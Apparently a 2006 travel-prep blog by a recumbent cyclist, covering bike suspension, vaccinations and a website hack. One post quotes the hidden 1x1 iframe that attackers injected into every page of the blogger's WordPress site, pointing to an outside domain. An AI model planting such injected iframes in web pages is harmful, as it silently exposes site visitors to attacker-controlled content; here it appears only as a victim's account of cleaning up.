April 25th, 2006 | categorizilation: all categories
I noticed yesterday that there was water spitting out of the top of the suspension forks on my bike. The damper cap (indicated by arrows) was loose, and it seems as though it got water in there on Saturday when I was riding in the rain. This can’t be a good thing, so I’ve emailed HP Velotechnik for some advice. Still awaiting their answer.
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April 10th, 2006 | categorizilation: all categories,planning/prep,website
Everyday you learn something new…some frequent visitors to this site may have noticed that for the best part of a week, 14degrees.org was not online. This was due to what I assume was a kind of ‘hacking robot’.
One day I go to access the website, and I got a parse error, which meant that nothing on the site displayed at all. This is actually quite handy, because if my site had been all HTML, I may not have noticed that something was amiss. The reason I got the error is because this site is running on WordPress – a content management software. If any of the files are tampered with in WordPress, the whole thing just stops working.
So to cut a long story short, somehow a hacking program got a hold of my web hosting password and username, and added code into all my webpages. This is the code:
iframe marginwidth=”0″ marginheight=”0″ src=”http://196.regvista.com/index.php?ref=r22″ mce_src=”http://196.regvista.com/index.php?ref=r22″ width=”1″ height=”1″
When a page with this code is opened, crazy stuff happens. The page seems to keep re-loading. It seems as though it is an invisible ad banner than automatically ‘clicks’ repetitively? I dunno. I’m not up with the play with these things.
But anyway, I ended up deleting everything on my web hosting account, and re-installing wordpress (the rouge code was in everything). As you can see things are back to normal again. I’ve still got to clean up some stuff on the Japanese version of the site, but that shouldn’t take long.
The moral of the story is:
The hosting company that I have my website on includes many good features, one of them being a file uploading tool and file editor. I’ll be using this as much as possible in the future, so as to avoid any repeats of last week’s fiasco.
April 4th, 2006 | categorizilation: all categories,planning/prep
The second round of jabs went smoothly today. This time was:
The total cost for this session was 45,000yen (ouch). The culprit was the typhoid shot. There are no typhoid vaccine supplies within Japan, so it had to be imported especially. One shot 25,000yen.
The doc also wrote me a vaccination record. I’m not sure if I’m going to need to use it during my travels, but I’ll carry it just in case.
On another matter, with a little umming and ahhing, the doc agreed to give me some injection needles. Sterility in some hospitals in central Asia is still questionable, so it is best to carry your own sterile needles should you need to get jabbed. The doc also wrote me out a short letter approving my possesion of the needles. A letter such as this is important for border crossings, so as to not be taken for a dodgy individual.
April 2nd, 2006 | categorizilation: all categories,equipment,planning/prep,recumbent bike
The HPVelotechink Street Machine GTe comes with front and rear suspension as standard. I upgraded to the lighter Meks Carbon AC front shock and DT-Swiss rear airshock. While both shocks seem to be very high quality, the reality is that they are moving parts that are affected by water and dust. Therefore I’ve added shock boots (covers) to both the front and rear shocks.
Front shock
Rear shock
The front boot was especially tricky to get to fit correctly. I had to cut it to fit. The photo is of the nicely done side. The other side, which I did first, is a bit of a mess – but it should do the trick.
Hopefully these skinned lizards will help the suspension to last 12000km to London!
